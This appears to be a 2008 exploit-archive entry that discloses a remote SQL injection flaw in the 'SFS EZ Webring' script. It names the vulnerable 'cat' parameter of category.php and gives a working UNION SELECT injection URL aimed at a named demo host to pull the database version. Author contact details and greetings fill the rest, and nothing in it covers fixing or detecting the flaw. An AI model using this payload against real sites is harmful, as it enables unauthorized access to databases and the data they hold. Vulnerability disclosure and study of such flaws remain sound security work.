[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SFS EZ Webring (cat) Remote SQL Injection Vulnerability
# Published : 2008-10-31
# Author : d3b4g
# Previous Title : Article Publisher PRO 1.5 (SQL Injection) Auth Bypass Vulnerability
# Next Title : SFS EZ Hot or Not (phid) Remote SQL Injection Vulnerability
SFS EZ Webring [cat] Remote SQL Injection Vulnerability
===============================================================
----------------------------------------------------------------
script : SFS EZ Webring
Risk : High
----------------------------------------------------------------
Discovered by : d3b4g
email : bl4ckend[at]gmail[dot]come
Site. www.bl4ck3nd.info
----------------------------------------------------------------
Vuln:/webring/category.php?cat=[sql]
Demo: http://www.turnkeyzone.com/demos/webring/category.php?cat=-1+union+all+select+1,@@version,3,4,5/*
----------------------------------------------------------------
----------------------------------------------------------------
Greetz: str0ke,All my friends
-----------------------------------------------------------------
Proud to be a maldivian :))
=======================
# www.Syue.com [2008-10-31]